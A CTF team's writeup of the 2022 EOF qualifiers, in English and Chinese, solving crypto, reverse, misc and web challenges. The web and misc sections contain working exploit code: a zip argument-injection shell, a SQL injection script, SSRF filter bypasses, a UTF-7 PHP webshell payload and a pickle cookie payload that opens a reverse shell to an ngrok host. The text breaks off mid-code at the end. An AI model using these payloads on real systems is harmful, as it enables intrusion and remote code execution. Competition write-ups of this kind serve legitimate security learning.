# 2022 EOF Quals Writeup
Team: `AtLas9` at 9-th place.

Team Members:
ID|Name|School|Student ID
-|-|-|-
RetrO9|林奕鑫|交大|
j3soon|孫偉芳|交大(清大生跨校選修)|
engine210|王子文|交大(清大生跨校選修)|
boshow2270|刁彥斌|臺大|R10922056
Table of Contents:
[ToC]
## Welcome
### gogogo
```
FLAG{https://www.youtube.com/watch?v=tJT_l4ef8cY}
```
## Misc
### LeetCall (Not solved)
We were unable to solve the first challenge. Here is how far we went.
- Methods can be called with `getattr(obj, 'method')(params)`
- One-Argument Formatted strings can be achieved with `split` and `join` (although it can also be achieved with `getattr(string, 'format')(params)`)
- This expression can handle test cases if `input() == 'Alice\nBob'`, but `input()`'s are separated by newlines, and we failed to come up with a loop alternative.
- We didn't think of using `open(0).read()` to access `stdin`
```python=
# input_list = input().split('\n')
# output_without_head_and_tail = '\nHello, '.join(input_list)
# output = output_without_head_and_tail.join(['Hello, ', '!'])
print(
getattr(
getattr(
'!\nHello, ','join')(getattr( input() ,'split')('\n')), 'join')( getattr('Hello, .!\n', 'split')('.')
)
)
```
### RCE
We solved this problem in 2 ways.
`app/server/check.sh`:
```shell=
#!/bin/sh
# check clang works
clang /check.c
if [ $? = 1 ]
then
echo 'cannot compile'
exit
fi
rm /check.c
# compile given code
clang /code.c
if [ $? = 1 ]
then
echo 'cannot compile'
exit
fi
# run it!
/a.out
```
In the given script `app/server/check.sh`, there are two possible ways to bypass the check.
1. Make `code.c` include `a.out` in line 13.
```c=
#include <stdlib.h>
__asm(
".incbin" " \"" "./a.out" "\"\n"
);
int main() {
system("cat ./a.out | grep -oaE \"FLAG\\{.*\\}\"");
return 0;
}
```
We use assembly instruction to include `a.out` as a binary, and use `grep` to filter out the flag.
2. Bypass line 14 by making clang fail by returning an error code not equal to 1.
We searched on Google/GitHub, aiming to find a C file that results in a non-one error code. We find a C file on LLVM GitHub issues by the keyword `crash` with label `c`: https://github.com/llvm/llvm-project/issues/50715
```c=
void foo() {
static union {
int x[];
} u = {1.0};
}
```
Both solutions can retrieve the flag:
```
FLAG{g1thu6_i55ue_is_a_gr3at_pL4ce_t0_find_bugssss}
```
### babyheap
We first retrieve the source code by the following:
```python=
#!/usr/bin/env python3
from pwn import *
r = remote("edu-ctf.zoolab.org", 7122)
r.sendline("2")
r.sendline("/proc/self/stat")
# parse ppid from /proc/<pid>/stat
r.recvuntil("(nl) R ")
ppid = r.recvuntil(" ").rstrip().decode()
info(f"ppid: {ppid}")
# parse cmdline from /proc/<pid>/cmdline
r.sendline("2")
r.sendline(f"/proc/{ppid}/cmdline")
r.recvuntil("\x00")
r.recvuntil("\x00")
filename = r.recvuntil("\x00")[:-1].decode()
info(f"file: {filename}")
# retrieve file
r.sendline("2")
r.sendline(filename)
r.recvuntil("Note name: ")
content = r.recvuntil("\n\n").decode()
content = "\n".join([line[7:] for line in content.split("\n")])
with open("main.xonsh", "w") as file:
file.write(content)
r.close()
```
We find the program uses `nl` to print the file. Therefore, we find the parent pid of the `nl` in `/proc/<pid>/stat`, and then find the command of the parent process by `/proc/<ppid>/cmdline`. We then extract the file and filter out the prepended line number. The `/readflag` binary can also be extracted in the similar way.
The interesting part of `/home/babyheap/main.xonsh`:
```xonsh
...
elif option == "9487":
url = input("URL: ")
if urlparse(url).path.endswith(".txt"):
wget --no-clobber @(url)
else:
echo "Should be a .txt file"
elif option == "9527":
zip export.zip *
link = $(curl --upload-file export.zip https://transfer.sh/export.zip)
echo f"Exported to {link}"
rm -f export.zip
...
```
We observed that there are 2 secret options, `9487` and `9527`.
- With option `9487`, we can upload arbitrary file that ends with `.txt`.
- With option `9527`, we can zip all downloaded files.
The `*` used in the command is vulnerable to special file names such as `-T`, which will be recognized as `zip` arguments instead of files. We can exploit it by the script:
```shell=
#!/usr/bin/env python3
from pwn import *
r = remote("edu-ctf.zoolab.org", 7122)
# -TP a.txt
r.sendline("9487")
r.sendline("https://transfer.sh/Lf78Gs/-TP%20a.txt")
# shell.txt, contains "/readflag i want the flag"
r.sendline("9487")
r.sendline("https://transfer.sh/kARygW/shell.txt")
# --unzip-command=sh shell.txt
r.sendline("9487")
r.sendline("https://transfer.sh/qcLQiz/--unzip-command=sh%20shell.txt")
# zip export.zip shell.txt -TP a.txt --unzip-command=sh shell.txt
r.sendline("9527")
r.interactive()
r.close()
```
The script downloads the file and execute the following command when sending `9527`:
```shell=
zip export.zip shell.txt -TP a.txt --unzip-command=sh shell.txt
```
`shell.txt` will then execute `/readflag i want the flag`, and get the flag:
```
FLAG{I don't know why but nc+note=babyheap}
```
The `--unzip-command` option is learned from this post: https://www.hackingarticles.in/linux-for-pentester-zip-privilege-escalation/
## Crypto
### babyPRNG
Observing that the outputs of `chal.py` consists of only one of the 4 bytes `[00, db, b6, 6d]`, we can replicate the random sequence by asserting the starting and trailing bytes of the random sequence. i.e., the decoded bytes must start with `FLAG{`, ends with `}`, and all decoded bytes must be printable ASCII.
```python=
import random
import string
class MyRandom:
def __init__(self):
self.n = 2**256
self.a = random.randrange(2**256)
self.b = random.randrange(2**256)
def _random(self):
tmp = self.a
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
tmp ^= (tmp >> 3) & 0xde
tmp ^= (tmp << 1) & 0xad
tmp ^= (tmp >> 2) & 0xbe
tmp ^= (tmp << 4) & 0xef
return tmp
def random(self, nbit):
return sum((self._random() & 1) << i for i in range(nbit))
flag_enc = '9dfa2c9ccd5c84c61feb00ea835e848732ac8701da32b5865a84db59b08532b6cf32ebc10384c45903bf860084d018b5d55a5cebd832ef8059ead810'
flag_enc = [int('0x' + flag_enc[2*i:2*i+2], 16) for i in range(len(flag_enc) // 2)]
flag_head = [0x9d ^ ord('F'), 0xfa ^ ord('L'), 0x2c ^ ord('A'), 0x9c ^ ord('G'), 0xcd ^ ord('{')]
flag_tail = 0x10 ^ ord('}')
while True:
random_sequence = []
for i in range(6):
rng = MyRandom()
random_sequence += [rng.random(8) for _ in range(10)]
seq_hex = (bytes(random_sequence)).hex()
decoded_int = [x ^ y for x, y in zip(random_sequence, flag_enc)]
decoded = bytes (decoded_int)
# starts with 'FLAG{', ends with '}', and all characters are printable ascii
if (random_sequence[:5] == flag_head and
random_sequence[-1] == flag_tail and
(min(decoded_int) >= 0x20 and max(decoded_int) <= 0x7e)):
print('[CORRECT]', seq_hex)
print('[DECODED]', decoded)
break
```
```
FLAG{1_pr0m153_1_w1ll_n07_m4k3_my_0wn_r4nd0m_func710n_4641n}
```
### notRSA
```python=
# chal.py
from Crypto.Util.number import *
from secret import flag
n = ZZ(bytes_to_long(flag))
p = getPrime(int(640))
assert n < p
print(p)
K = Zmod(p)
def hash(B, W, H):
def step(a, b, c):
return vector([9 * a - 36 * c, 6 * a - 27 * c, b])
def steps(n):
Kx.<a, b, c> = K[]
if n == 0: return vector([a, b, c])
half = steps(n // 2)
full = half(*half)
if n % 2 == 0: return full
else: return step(*full)
return steps(n)(B, W, H)
print(hash(79, 58, 78))
```
The code is equivalent to performing `step` `n` times on the vector `(79, 58, 78)`, where `n` is the per-byte numeric expression of the flag string.
Let $A=\pmatrix{9&0&-36\\6&0&-27\\0&1&0}$ be the transformation of `step` (under $\text{Zmod}(p)$), $x=\pmatrix{79\\58\\78}$, and $y$ be the given vector. We have $A^n\cdot x=y$.
Compute the Jordan Normal Form of $A=PJP^{-1}$, with $J=\pmatrix{3&1&0\\0&3&1\\0&0&3}$ and $P=\pmatrix{36&6&1\\18&6&0\\6&0&0}$.
Then, $A^n\cdot x=y=PJ^nP^{-1}\cdot x\Rightarrow J^n(P^{-1}x)=(P^{-1}y)\Rightarrow J^n\cdot x'=y'$,
where $J^n=\pmatrix{3^n&n\cdot3^{n-1}&\dfrac{n^2-n}{2}\cdot3^{n-2}\\0&3^n&n\cdot3^{n-1}\\0&0&3^n}$.
Thus we obtain, by looking at the last 2 rows, the literal value of $n$.
$$\begin{cases} 3^n\cdot x'_2=y'_2 \\ 3^n\cdot x'_1+n\cdot 3^{n-1}\cdot x'_2=y'_1\end{cases}
\\
\Rightarrow\begin{cases} 3^n =\dfrac{y'_2}{x'_2} \\ n=\dfrac{3}{x'_2}\cdot(\dfrac{y'_1}{3^n}-x'_1)\end{cases}$$
(Though the last row implies the presence of a discrete logarithm problem, we need not to solve it explicitly. All solutions I've tried were infeasible.)
Below is the script used to get the flag.
```python=
# solve.py
from sage.all import *
p = 2888665952131436258952936715089276376855255923173168621757807730410786288318040226730097955921636005861313428457049105344943798228727806651839700038362786918890301443069519989559284713392330197
K = Zmod(p)
# A^n * x = y
A = matrix(K, 3, [9, 0, -36, 6, 0, -27, 0, 1, 0])
y = vector(K, [2294639317300266890015110188951789071529463581989085276295636583968373662428057151776924522538765000599065000358258053836419742433816218972691575336479343530626038320565720060649467158524086548, 1566616647640438520853352451277215019156861851308556372753484329383556781312953384064601676123516314472065577660736308388981301221646276107709573742408246662041733131269050310226743141102435560, 2794094290374250471638905813912842135127051843020655371741518235633082381443339672625718699933072070923782732400527475235532783709419530024573320695480648538261456026723487042553523968423228485])
x = vector(K, [79, 58, 78])
J, P = A.jordan_form(base_ring=K, subdivide=False, transformation=True)
invP_y = vector(K, (P ** (-1)) * y)
invP_x = vector(K, (P ** (-1)) * x)
y_plum = invP_y
x_plum = invP_x
# J^n = [ 3^n n*3^(n-1) ((n^2-n)/2)*3^(n-2) ]
# [ 0 3^n n*3^(n-1) ]
# [ 0 0 3^n ]
# J^n * x = y
# 3^n * x[2] = y[2]
# 3^n * x[1] + n * 3^(n-1) * x[2] = y[1]
pow_3_n = K(y_plum[2]/x_plum[2])
n_guess = (K(3) * ((y_plum[1] / pow_3_n) - x_plum[1])) / x_plum[2]
print("[GUESS] ", n_guess)
print("[DECODED]", bytes.fromhex(hex(n_guess)[2:]))
```
```
FLAG{haha_diagonalization_go_brRRRrRrrrRrRrrrRrRrRRrrRrRrRRRRrrRRrRRrrrrRrRrRrR}
```
### almostBabyPRNG
The RPNG is composed of 3 internal PRNGs, each of which has a 16-bit internal state.
The first thought is whether an inverse function can be derived. Analyzing the per-bit inverse function `o -> {o1, o2, o3}`
```python=
o1 = rol(self.r1.random(), 87)
o2 = rol(self.r2.random(), 6)
o3 = rol(self.r3.random(), 3)
o = (~o1 & o2) ^ (~o2 | o3) ^ (o1)
o &= 255
```

Given one byte of the output, we have 4 possible combinations of `(o1, o2, o3)`. Thus, for one confirmed output, we have $4^8=65536$ possibilities. Since the outputs of `MyRandom.random` has an one-to-one correspondence to `MyRandom.a`, and since `MyRandom.b` at step $t$ is `MyRandom.a` at step $t-1$, the initial states of the 3 internal PRNGs can be determined by searching in a space of size $65536^2\approx4.29\times10^9$. The search take too much time and is infeasible.
Walking down another path, we can try to determine whether the internal states of `MyRandom` repeat themselves, since we have a lot of raw outputs from the PRNG. If the internal states repeat, the raw outputs (after the repetition) can be used to decode the flag.
```python=
class MyRandom:
def __init__(self):
self.n = 256
self.a = random.randrange(256)
self.b = random.randrange(256)
self.states = []
self.times = 0
self.repeated = False
def random(self):
tmp = self.a
if (self.a, self.b) in self.states and not self.repeated:
print(" REPEAT at %d!" % self.times)
self.repeated = True
else:
self.states.append((self.a, self.b))
self.times += 1
self.a, self.b = self.b, (self.a * 69 + self.b * 1337) % self.n
tmp ^= (tmp >> 3) & 0xde
tmp ^= (tmp << 1) & 0xad
tmp ^= (tmp >> 2) & 0xbe
tmp ^= (tmp << 4) & 0xef
return tmp
```
Indeed, the internal states all repeat at position 384 (sometimes 192. It still holds anyway).
Thus we can decipher the flag using the following script.
```python=
nc_flag = 'd5de8acdc0fa83d9c5bbe683cb33ef07949d6faeee8b00f6a2cc10cad800ca818e1cfd34f96f8fe71c9dbb3930ec8fb89183c9eef059cddcdc62a3fcf96eaea6dcab1bde96db8dbb13e3eb5d144fec9c6c91637cffdb0d8c988c2a189a8aaeaa136afe8cd469dddedf88ed7effbf2fd89e8f8afa88beb9ba1150eaaec0c8fdb5d4fbe3efff8ca866ecbf2bda996a7f9e136d6d6e1afbccb664e24d5ef98e9fa63e8d8b3a385aef999389d9dcfbe9f8f6d4908bdaf9bdbd8dfeaebafea28aca8c9181cb8ca8cbc9a6f48893dcf94b8b4efca91a8ab1a84f9893ac4fafb86ee9dbff7a9949ff6e8fe40a9daa2c30ea99b89383c9ecf459d8d8dc66a1fcff6daeb4caab0ad896c88cbb11e3eb4c134ff9886c84617cf9cf0d8b9d8c3b189a88adaa117dfe8ac369c8c9df88f87ef9ad2fce9f8f9be988a9adba1343eabbd6c8e8b4d4eaf2eff989a865febf3acb996c6d9e11696d6c1afbd9b664e64b5eff899fb42c8d9a383849ea99918dd9cdf8e9ede6d4858ddaffadbd8affaeabfaa288cd8c9392cb8abbcbdcb5f48882dcff5d8b58f9a90b9db1bf5f9891bb4fbaaa6efcdeff6b8c49'
flag_bytes = [int('0x' + enc_flag[2*i:2*i+2], 16) for i in range(len(enc_flag) // 2)]
repetition = enc_flag[2*384:]
repetition_bytes = [int('0x' + repetition[2*i:2*i+2], 16) for i in range(len(repetition) // 2)]
dec = [x ^ y for x, y in zip(repetition_bytes, flag_bytes[:len(repetition_bytes)])]
print(bytes(dec))
```
```
FLAG{1_l13d_4nd_m4d3_4_n3w_prn6_qwq}
```
### babyRSA (Not Solved)
```python=
# chal.py
from Crypto.Util.number import *
from secret import flag
p = getPrime(512)
q = getPrime(512)
n = p * q
m = n**2 + 69420
h = (pow(3, 2022, m) * p**2 + pow(5, 2022, m) * q**2) % m
c = pow(bytes_to_long(flag), 65537, n)
print('n =', n)
print('h =', h)
print('c =', c)
```
The encryption process is like a typical RSA Encryption. We are given $n$, $c$, and $e=65537$.
Additionally, we are given $h\equiv 3^{2022}p^2+5^{2022}q^2\pmod m$.
Supposedly, we should either figure out $p$ or $q$ from this, or construct a function $f(h)$ such that
$$c^{f(h)}\equiv \text{flag}^{e\cdot f(h)}\equiv \text{flag}\cdot(\text{flag}^{\phi(n)})^s\equiv \text{flag}\pmod n$$
After several attempts, we were unable to go along the 2 paths.
$$h\equiv (3^{1011}p)^2+(5^{1011}q)^2\equiv (3^{1011}p+5^{1011}q)^2-2\cdot3^{1011}\cdot5^{1011}\cdot pq$$
$$\Rightarrow h+3^{1011}\cdot5^{1011}\cdot n\equiv (3^{1011}p+5^{1011}q)^2$$
$$\Rightarrow \sqrt{h+3^{1011}\cdot5^{1011}\cdot n}\equiv 3^{1011}p+5^{1011}q\pmod m$$
The derivation halts here, as calculating the square root under mod $m$ is infeasible.
## Web
### Happy Metaverse Year
**RECON**
這題程式碼不多,所以可以很快的就找出要打的目標,以及需要 Bypass 的目標。
簡單看一下就可以發現,目標 Flag 是以 `password` 欄位的模式儲存在 `users` table 中:
```sql=sqlite3
-- (re)create users table
DROP TABLE IF EXISTS users;
CREATE TABLE users(
id INTEGER PRIMARY KEY AUTOINCREMENT,
username TEXT,
password TEXT,
ip TEXT
);
-- create the chosen one
INSERT INTO users
(username, password, ip)
VALUES
('kirito', 'FLAG{${FL4G}}', '48.76.33.33');
```
第二個重要的地方是在 `/login` 這個 Route 中,有個很明顯的 boolean-based 的 Sqli 漏洞:
```javascript=
if (username?.includes("'") || password?.includes("'"))
return res.send('Hacking attempt detected!'); // SQL injection?
const query = `SELECT username, password, ip FROM users WHERE username = '${username}'`;
db.get(query, (err, user) => {
if (res.headersSent) return;
if (!err && user && user.password === password && user.ip === req.ip)
res.send("Welcome")
else {
res.send('failed');
}
});
```
不過有兩個簡單的防禦,讓我們不能用 `sqlmap` 就快速 dump 出結果:
- 不能使用 `'`
- `user.ip` 要跟 `req.ip` 一樣
**PWN**
不能用 `'` 是首要要處理的問題。一開始以為是 sqlite3 library 中有實作一些其他的語法糖(也有可能是為了要兼容其他 db 的語法)可以用來取代 `'`,但找了一陣子後發現好像沒有這種功能,最後放棄尋找另一條路。
後來再觀察了一陣子,唯一使用者可控的位置就還是只有 `user`, `password` 請求的 Payload,所以開始研究這邊 urlencode 是怎麼實作的。最後發現了這一段 code:
```javascript=
const app = express();
app.use(bodyParser.urlencoded({ extended: true }));
```
因為之前開發 `express` 的時候都是走 json 格式的請求而沒有用過這個 Middleware,看了 Document 後發現有下面這段文字
> The extended option allows to choose between parsing the URL-encoded data with the querystring library (when false) or the qs library (when true). The “extended” syntax allows for rich objects and arrays to be encoded into the URL-encoded format, allowing for a JSON-like experience with URL-encoded. For more information, please see the qs library.
接著跟去看 [qs library](https://www.npmjs.com/package/qs#readme) 的文件,發現這個工具的 Parser 有支援 array 這種格式的請求:
> **Parsing Arrays**
> qs can also parse arrays using a similar [] notation:
> ```javascript
> var withArray = qs.parse('a[]=b&a[]=c');
> assert.deepEqual(withArray, { a: ['b', 'c'] });
> ```
這就好辦啦,`array` 也有 `include` 的功能,**但是他比較的基準是 element 中有沒有 `"'"` 這樣的字串,再加上 `array` 的 `toString` 會印出 `'`,這樣我們就成功 bypass `include` 的限制,可以打常規的 sqli paylaod 了:
```
username[]=' union select 'aaa', 'apple', '{IP}' from users where substr(password, {length}, 1) > '{flag}&password=apple
```
所以打完最後的 script 後就可以得到 Flag 了 XD
```python=
from requests import post
from tqdm import tqdm
from string import printable
IP = "[my-ip]"
URL = "https://sao.h4ck3r.quest/login"
def binarySearch(checker, start, end, *argv):
cur = int((start+end) / 2)
while True:
if checker(chr(cur), *argv):
start = cur+1
else:
end = cur
if end-start == 1 or end == start:
break
cur = int((start+end) / 2)
if end == start:
return start
elif end-start == 1:
# Double Check
flag = checker(chr(start), *argv)
if flag:
return end
else:
return start
else:
print("Something Went Wrong In Binary Search!!")
def test(flag, length):
payload = f"username[]=' union select 'aaa', 'apple', '{IP}' from users where substr(password, {length}, 1) > '{flag}&password=apple"
data = post(URL, data=payload.encode('utf-8'), headers={"Content-Type": "application/x-www-form-urlencoded"})
return 'Welcome' in data.text
flag = ""
count = 1
charset = printable
while True:
tmp = binarySearch(test, 1, 1112064, count)
flag+=chr(tmp)
print(flag)
if chr(tmp) == "}":
break
count += 1
```

### SSRF Challenge or Not
這題沒什麼好 Recon 的,有一個很明顯的 SSRF 漏洞,但題目給的暗示好像又不只是 SSRF (或是代表這根本不是 SSRF 的洞),所以就邊打邊看囉~
**PWN**
Request 的 url 長這樣:
```
https://ssrf.h4ck3r.quest/proxy?url=[SSRF Endpoint]
```
亂打一串輸入進去後抱錯:
```
# https://ssrf.h4ck3r.quest/proxy?url=applde
400: urlparse(url).netloc should not be empty
```
代表後端在驗證 url 的時候會用 `urlparse` 這個 Function 來 parse url,也可以大概猜一下接下來用的應該是 `urlopen`。
下一個試一個 ssrf 簡單的 Payload:
```
# https://ssrf.h4ck3r.quest/proxy?url=http://127.0.0.1/
400: netloc should not be localhost, don't SSRF me!
```
換了一下 Payload 後發現下面這種 `127.0.0.1` 的方式是可以繞過檢查的:
```
https://ssrf.h4ck3r.quest/proxy?url=http://017700000001
```
一開始我想說也許真正要打的服務在內網的另一台伺服器上,所以我想先用 `file` 去讀 `etc/hosts` 看有沒有什麼蛛絲馬跡:
```
https://ssrf.h4ck3r.quest/proxy?url=file://017700000001/etc/hosts
```
但最後沒看到有什麼有趣的地方,所以最後開始嘗試 leak 出這個服務的 source code。用的方法很簡單,我去讀 `/proc/self/cmdline` 中的資料,得到 src code 位在 `/sup3rrrrr/secret/server/` 的資訊,順利得到 src code:
```python=
from bottle import default_app, get, run, request, response, template
from urllib.request import urlopen
from urllib.parse import urlparse
from urllib.error import URLError, HTTPError
from configs import secret
app = default_app()
@get("/")
def home():
session = request.get_cookie('session', secret=secret)
if not session:
session = {"payloads": []}
response.set_cookie('session', session, secret=secret)
return template('index', payloads=session['payloads'])
@get("/proxy")
def proxy():
url = request.params.url
sess = request.get_cookie('session', secret=secret)
sess['payloads'].append(url)
response.set_cookie('session', sess, secret=secret)
netloc = urlparse(url).netloc.lower()
if netloc == '':
response.status = 400
response.content_type = 'text/plain'
return "400: urlparse(url).netloc should not be empty"
if netloc in ('localhost', '127.0.0.1', '127.0.1', '127.1', '2130706433', '0x7f000001'):
response.status = 400
response.content_type = 'text/plain'
return "400: netloc should not be localhost, don't SSRF me!"
try:
resp = urlopen(url)
response.content_type = resp.info().get_content_type()
return resp.read()
except (URLError, HTTPError) as e:
response.status = 500
return f"Fetch `{url}` failed: {e.reason}"
if __name__ == '__main__':
run(host='localhost', port=9453, reloader=True)
```
看到這邊,發現這個服務也許有 pickle unserialization 的問題,只要我們能讀到 key 的位置我們就可以順利自己簽出 cookie 了。看一下這行程式碼:
```python=
from configs import secret
```
代表說 secret 就藏在 configs 資料夾中,看了一些路徑後最後找到了 key 的數值:

接著寫了一個簡單的 payload 丟上去就可以開出一個 reverse shell 後 rce:
```python=
from bottle import default_app, get, run, request, response
import os
app = default_app()
secret = "cCySMEDJ9LOlStFzu-k9HE0XUZIkGlGqMkDOBHOldXI"
class Exploit(object):
def __reduce__(self):
return (os.system, ('bash -c "bash -i >& /dev/tcp/0.tcp.ngrok.io/15860 0>&1"',))
@get("/")
def home():
session = Exploit()
response.set_cookie('session', session, secret=secret)
return "fdsfdsaf"
@get("/coo")
def getCookie():
request.get_cookie('session', secret=secret)
return "fdsfdsaf"
run(host='localhost', port=9453, reloader=True)
# Cookie = !ZIlnsDLh189xWmE335oTEA==?gAWVXgAAAAAAAACMB3Nlc3Npb26UjAVwb3NpeJSMBnN5c3RlbZSTlIw3YmFzaCAtYyAiYmFzaCAtaSA+JiAvZGV2L3RjcC8wLnRjcC5uZ3Jvay5pby8xNTg2MCAwPiYxIpSFlFKUhpQu
```
Flag: `FLAG{well, maybe not? XD}`
### Babyphp (Not Solved)
這題的 src code 真的很短,但就是因為他很短所以很難處理:
```php=
<?php
// using php:7.4-apache Dokcer image
// Show Src Code
isset($_GET['8']) && ($_GET['8'] === '===D') && die(show_source(__FILE__, 1));
// Create Sandbox Env
!file_exists($dir = "sandbox/" . md5(session_start().session_id())) && mkdir($dir);
chdir($dir);
!isset($_GET['code']) && die('/?8====D');
// 可以寫到任意地方
$time = date('Y-m-d-H:i:s');
strlen($out = ($_GET['output'] ?? "$time.html" )) > 255 && die('toooooooo loooooong');
(trim($ext=pathinfo($out)['extension']) !== '' &&
strtolower(substr($ext, 0, 2)) !== "ph") ?
file_put_contents($out, sprintf(file_get_contents('/var/www/html/template.html'), $time, highlight_string($_GET['code'],true))) :
die("BAD");
echo "<p>Highlight:<a href=\"/$dir/$out\">$out</a></p>"
// You might also need: /phpinfo.php
```
我們原本以為,是在 `pathinfo` + `file_put_contents` 中有什麼實作缺陷,導致有別的方法(如在 path 尾巴可以加入 `\.` 來規避掉 extension 檢查)可以繞過檢查,去 Trace php source code 後卻沒有找到可以利用的點。
但另一方面,我已經可以創造出含有 `<?php ?>` 的 oneline shell 的寫法:
```python=
import urllib
from requests import get
output = "php://filter/write=convert.iconv.utf7.utf8/resource=shell.html"
# "+ADw?+AD0 +AGAAJAB7AF8-GET+AFsAIg-cmd+ACIAXQB9AGA ?+AD4-"
payload = "%2BADw%3F%2BAD0-system%28%2BACQAXw-GET%2BAFsAIg-cmd%2BACIAXQ%29%3F%2BAD4-"
res = get("https://babyphp.h4ck3r.quest/?code="+payload+"&output="+output)
print(res.text)
```
我有嘗試想要找到有哪些 extension 也可以觸發 php 解析,但我沒想到可以去寫 `.htaccess` 的方法,所以最後這題也沒有解出來。
### PM (Not Solved)
這題雖然是水題,但我最後因為之前沒有去研究 FPM 的漏洞問題,甚至連 `auto_prepend_file = php://input`, `allow_url_include` 都已經幫你開好好的狀況下,變成只能用別人的 Script,修改的地方不夠完全所以最後沒有打成功。
這題看似提供了一個完整的 Web Shell 可以使用,但事實上 `system`, `shell_exec` 被擋住的緣故,並沒有辦法執行任何 cmd:

所以這邊就要換個方式去拿 Shell,最後其實這題就是一個很經典的 SSRF + GOPHER + FPM 的組合拳,而 SSRF 的問題出在這個 webshell 的下載功能(模擬 C2?):
```php=
if (@$_POST['shell_url']) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $_POST['shell_url']);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1);
curl_setopt($ch, CURLOPT_TIMEOUT, 3);
$shell = curl_exec($ch);
curl_close($ch);
$file = fopen($_POST['downpath'], "w");
fwrite($file, $shell);
fclose($file);
}
```
我使用 `Gopherus` 時因為沒有修改好 byte length 導致我打出去的 Payload 回傳都是空的,在 `tmp` 中沒有成功寫入資料 QQ
### Imgura Album (Not Solved)
這邊我 Trace 完 code 大概可以猜到問題可能出在幾個地方:
- Flight Framework 中可能有問題
- User 沒認證就可以看 Album
- 又是 Session 的問題
但最後查了許多資料後也沒有想到可以怎麼利用,所以這題也就沒有解出來了。
## Reverse
### wannaSleep
We are the first team to solve this problem (mainly because it's broken XD)
```
FLAG{S0M3_PE0P13_WaNNaCry_3uT_1_JUsT_waNNaSl33p_aNd_waTCh_A_gr3aT_M0v13}
```
Running following command
```
>C:\Users\engin\Desktop\AIS3-EOF-2022\wannaSleep\chal\wannaSleep.exe C:\Users\engin\Desktop\AIS3-EOF-2022\wannaSleep\chal\wannasleeeeeeep.txt.enc
```
A file named `C:\Users\engin\Desktop\AIS3-EOF-2022\wannaSleep\chal\wannasleeeeeeep.txt.enc.enc` will be generated. Open it using text editor and get the FLAG.
### passwd_checker_2022
```
FLAG{NANI___Th1s_1s_flAg___OmG}
```
Skip this line in function `start()` using debugger (edit RIP) to enable OK button.

The callback function of OK button is `sub_7FF710FD1C70`
The input string `String` will first be processed by function `sub_7FF710FD254C`. This function simply copy `String` to `v9`.
`v9` will then processed by function `sub_7FF710FD16B0` to check if it match the encrypted flag.

Basically, function `sub_7FF710FD16B0` will encrypt the string we enter using below functions:
```cpp=
CryptEncrypt(phKey, 0i64, 1, 0, dword_7FF710FE7B50, &pdwDataLen, v7 + 1)
CryptBinaryToStringA(a2, a3, 0x40000001u, byte_7FF710FE7A50, pcchString);
```
Then check if the output string match `G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=`

Solution: reverse the encrypt procedure.
```cpp=
#pragma comment(lib, "crypt32.lib")
#include <iostream>
#include <Windows.h>
#include <wincrypt.h>
int main()
{
__int64 v6;
DWORD pdwDataLen;
HCRYPTKEY phKey;
HCRYPTHASH phHash;
HCRYPTPROV phProv;
char pbData[80];
char encflag[] = "G2FtzpmZCkW9qA9an6Owmq5ggjunB5FluTeK+IuZ4yQ=";
phProv = 0i64;
phKey = 0i64;
BYTE buffer[0x100];
memcpy(pbData, "passwd_checker_2022_key_len_only_0x10_you_must_care_about_it_homie", 0x44ui64);
v6 = -1i64;
do
++v6;
while (pbData[v6]);
CryptAcquireContextW(&phProv, 0i64, 0i64, 1u, 0); // init crypto related function
CryptCreateHash(phProv, 0x8004u, 0i64, 0, &phHash); // init hash function
CryptHashData(phHash, (const BYTE*)pbData, v6, 0); // pbData: A pointer to a buffer that contains the data to be added to the hash object.
CryptDeriveKey(phProv, 0x6801u, phHash, 1u, &phKey); // generate a key to phKey
CryptDestroyHash(phHash); // destroy hash obect
CryptEncrypt(phKey, 0i64, 1, 0, 0i64, &pdwDataLen, 0); // phKey will be 0x158642DXXXX
DWORD pcbBinary = 0x100; // number of bytes that CryptStringToBinaryA return
memset(buffer, 0, 0x100ui64);
CryptStringToBinaryA(encflag, strlen(encflag), 0x00000001u, buffer, &pcbBinary, 0, 0);
CryptDecrypt(phKey, 0i64, 1, 0, buffer, &pcbBinary);
printf("FLAG is: %s\n", buffer);
}
```
### wannaSleep_revenge
The program is compiled with Visual C++:

I think the program uses the SEH chain to load `kenel32.dll`, so IDA cannot resolve the function name automatically. I dynamically debugged the program and renamed the variables and function names:


We know that the main function requires filename to be at `argv[1]`.
The program seems to dynamically inject instructions, not good for static reversing. The `kernel32_Writefile` above actually calls `sub_1400016F0`, inside the encryption code, there is a part that requires right shifting, which is hard to derive the corresponding decryption:


In a function call, the disassembler shows returning a constant. By dynamic debugging, we find it actually returns to another function, which contains more decryption code.

Fortunately, by inspecting the for-loop in line 20 to 25, we observed that the 4 first chars of the plain text is stored in the end of encrypted file, and the encryption is causal. So we can brute-force the 5-th char, 6-th char and etc. The new char is correct if the decrypted string is the same as the encrypted file provided.
We call `wannaSleep_revenge.exe` as a subroutine, and use wikipedia to speedup brute force search:
```cpp=
#include <cstdlib>
#include <iostream>
#include <fstream>
#include <vector>
void prepare(const std::vector<char>& plain, char next) {
std::ofstream fout("tmp.txt", std::ios::binary);
fout.write(plain.data(), plain.size());
fout.write(&next, 1);
}
bool check(const std::vector<char>& ground_truth, const std::vector<char>& plain, char next) {
int new_len = plain.size() + 1;
std::vector<char> buf(new_len);
std::ifstream fin("tmp.txt.enc", std::ios::binary);
fin.read(buf.data(), new_len);
fin.close();
int i = 0;
bool is_same = false;
for (i = 0; i < new_len; i++) {
if (buf[i] != ground_truth[i])
break;
}
if (i == new_len)
is_same = true;
system("del tmp.txt.enc");
return is_same;
}
int main() {
char c;
std::cout << "Will run wannaSleep_revenge.exe as subroutine.\n Press Enter to Continue\n";
std::cin.get(c);
int len = 1565;
std::vector<char> ground_truth(len); // encoded file length
{
std::ifstream fin("wannasleeeeeeep.txt.enc", std::ios::binary);
fin.read(ground_truth.data(), len);
}
std::vector<char> plain; // = "Tene";
{
std::ifstream fin("flag", std::ios::binary | std::ios::ate);
auto size = fin.tellg();
std::cout << size << std::endl;
plain.resize(size);
fin.seekg(0);
fin.read(&plain[0], size);
}
std::cout << plain.size() << std::endl;
// For each char
while (plain.size() < len-4) {
int i;
for (i = 127; i >= -128; i--) {
prepare(plain, (char)i);
system("wannaSleep_revenge.exe tmp.txt");
bool is_correct = check(ground_truth, plain, i);
if (is_correct)
break;
}
std::cout << (int)i << std::endl;
if (i == -129) {
std::cout << "Error" << std::endl;
